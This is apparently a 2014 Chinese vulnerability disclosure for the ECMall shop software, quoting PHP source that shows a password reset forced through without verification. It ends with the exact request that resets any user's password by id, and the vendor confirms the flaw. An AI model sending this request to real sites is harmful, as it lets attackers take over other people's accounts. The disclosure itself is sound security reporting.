漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
									2014-05-10:	细节已通知厂商并且等待厂商处理中
									2014-05-10:	厂商已经确认,细节仅向厂商公开
									2014-05-20:	细节向核心白帽子及相关领域专家公开
									2014-05-30:	细节向普通白帽子公开
									2014-06-09:	细节向实习白帽子公开
									2014-06-24:	细节向公众公开
								
简要描述:
上班中在群里瞎侃看到一群友发出北京本地的一家在线商城,无聊测试了下
详细说明:
app/find_password.php
?
function set_password()
    {
        if (!IS_POST)
        {
            ......       
        }
        else //POST提交
        {
            if (empty($_POST['new_password']) || empty($_POST['confirm_password']))
            {
                $this->show_warning("unsettled_required");
                return ;
            }
            if (trim($_POST['new_password']) != trim($_POST['confirm_password']))
            {
                $this->show_warning("password_not_equal");
                return ;
            }
            $password = trim($_POST['new_password']);
            $passlen = strlen($password);
            if ($passlen < 6 || $passlen > 20)
            {
                $this->show_warning('password_length_error');
                return;
            }
            $id = intval($_GET['id']);//虽然是过滤了,但是不影响利用.
            $word = $this->_rand();
            $md5word = md5($word);
           $ms =& ms();        //连接用户系统
            $ms->user->edit($id, '', array('password' => $password), true); //强制修改 !!问题就出在这儿,false是需要验证的,不知道程序员为什么要设置成非验证修改,偷懒也不是这么偷的吧...            if ($ms->user->has_error())
            {
                $this->show_warning($ms->user->get_error());
                return;
            }
            $ret = $this->_password_mod->edit($id, array('activation' => $md5word));
            $this->show_message("edit_success",
                'login_in', 'index.php?app=member&act=login',
                'back_index', 'index.php');
            return ;
        }
    }
includes/passports/default.passport.php
	
function edit($user_id, $old_password, $items, $force = false)
 
    {
 
        if (!$force) //为false时需要验证,为ture时直接跳过执行下面的操作
 
        {
 
            $info = $this->get($user_id);
 
            if (md5($old_password) != $info['password'])
 
            {
 
                $this->_error('auth_failed');
 
 
 
                return false;
 
            }
 
        }
 
        $edit_data = array();
 
        if (isset($items['password']))
 
        {
 
            $edit_data['password']  = md5($items['password']);
 
        }
 
        if (isset($items['email']))
 
        {
 
            $edit_data['email'] = $items['email'];
 
        }
 
 
 
        if (empty($edit_data))
 
        {
 
            return false;
 
        }
 
        //编辑本地数据
 
        $this->_local_edit($user_id, $edit_data);//跟进
 
 
 
        return true;
 
    }
includes/passport.base.php
?
1
2
3
4
5
6
7
8
9
10
11
12
13
	
function _local_edit($user_id, $data)
 
    {
 
        $model_member =& m('member');
 
        $model_member->edit($user_id, $data);\\执行update
 
 
 
        return true;
 
    }
访问:index.php?app=find_password&act=set_password&id=1
只需要POST提交new_password=123456&confirm_password=123456,当然不要忘了要修改的id,id是通过GET参数获得的.
 
漏洞证明:
修复方案:
ecmall修复下就行了
版权声明:转载请注明来源 夜@乌云
>
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:14
确认时间:2014-05-10 09:41
厂商回复:
感谢,正在修复。
最新状态:
暂无

 
                 
                        


